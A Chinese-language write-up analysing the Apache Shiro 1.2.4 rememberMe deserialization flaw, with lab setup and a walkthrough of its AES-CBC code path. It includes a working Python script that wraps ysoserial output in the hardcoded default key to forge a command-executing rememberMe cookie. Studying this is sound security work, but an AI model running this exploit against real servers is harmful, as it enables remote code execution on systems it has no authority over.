Shiro rememberMe 反序列化分析

git clone https://github.com/apache/shiro.git
git checkout shiro-root-1.2.4

<properties>
    <maven.compiler.source>1.6</maven.compiler.source>
    <maven.compiler.target>1.6</maven.compiler.target>
</properties>
<dependency>
    <groupId>javax.servlet</groupId>
    <artifactId>jstl</artifactId>
    <!-- 配置版本 -->
    <version>1.2</version>
    <scope>runtime</scope>
</dependency>
<!-- 依赖cc链 -->
<dependency>
    <groupId>org.apache.commons</groupId>
    <artifactId>commons-collections4</artifactId>
    <version>4.0</version>
</dependency>

<?xml version="1.0" encoding="UTF8"?>
<toolchains>
    <toolchain>
        <type>jdk</type>
        <provides>
            <version>1.6</version>
            <vendor>sun</vendor>
        </provides>
        <configuration>
            <jdkHome>C:\Program Files\Java\jdk1.8.0_181</jdkHome>
        </configuration>
    </toolchain>
</toolchains>

maven package之后将war包放到tomcat7下部署，运行之后就是这样

使用 shiro_tool.jar 复现:

import sys
import base64
import uuid
from random import Random
import subprocess
from Crypto.Cipher import AES

def encode_rememberme(payload,command):
    popen = subprocess.Popen(['java', '-jar', '../ysoserial/ysoserial-0.0.6-SNAPSHOT-all.jar', payload, command], stdout=subprocess.PIPE)
    BS   = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = "kPH+bIxk5D2deZiIxcaaaA=="
    mode =  AES.MODE_CBC
    #iv   =  base64.b64decode(rememberMe)[:16]   
    iv = uuid.uuid4().bytes
    print(iv)
    encryptor = AES.new(base64.b64decode(key), mode, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext

if __name__ == '__main__':
    print(sys.argv[1],sys.argv[2])
    payload = encode_rememberme(sys.argv[1],sys.argv[2])
    with open("payload.cookie", "w") as fpw:
        print("rememberMe={}".format(payload.decode()), file=fpw)

首先要知道shiro是一个用来做身份验证的框架，其原理是基于servlet的filter进行的。在web.xml中定义了ShiroFilter，作用范围是当前目录下所有的url

加密方式为AES对称加密，AES有了密钥还需要加密算法和初始化向量IV， AbstractRememberMeManager 中加密函数调用了CipherService接口，实现其方法的是JcaCipherService类

在该类的encrypt()中发现IV自动生成，长度16个字节

并且加密模式为CBC

在encrypt中会先将IV写入

serialized在convertPrincipalsToBytes()被赋值

在 org.apache.shiro.mgt.AbstractRememberMeManager#deserialize 中一步步跟进